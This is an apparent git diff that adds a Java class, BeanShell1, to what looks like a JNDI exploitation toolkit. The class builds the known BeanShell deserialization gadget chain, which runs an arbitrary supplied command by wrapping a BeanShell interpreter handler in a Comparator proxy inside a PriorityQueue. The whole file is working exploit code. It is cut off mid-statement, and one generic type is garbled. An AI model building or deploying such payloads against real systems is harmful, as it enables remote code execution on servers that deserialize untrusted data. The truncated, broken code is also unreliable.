diff --git a/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java b/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java
new file mode 100644
index 00000000..90953936
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java
@@ -0,0 +1,38 @@
+package com.qi4l.jndi.gadgets;
+
+import bsh.Interpreter;
+import bsh.XThis;
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
+
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Proxy;
+import java.util.*;
+
+/**
+ * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
+ */
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.beanshell:bsh:2.0b5"})
+@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
+public class BeanShell1 implements ObjectPayload {
+
+ public PriorityQueue getObject(PayloadType type, String... param) throws Exception {
+ String command = param[0];
+ String payload = BeanShellUtil.makeBeanShellPayload(command);
+ Interpreter i = new Interpreter();
+ i.eval(payload);
+ XThis xt = new XThis(i.getNameSpace(), i);
+ InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
+ Comparator super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
+ PriorityQueue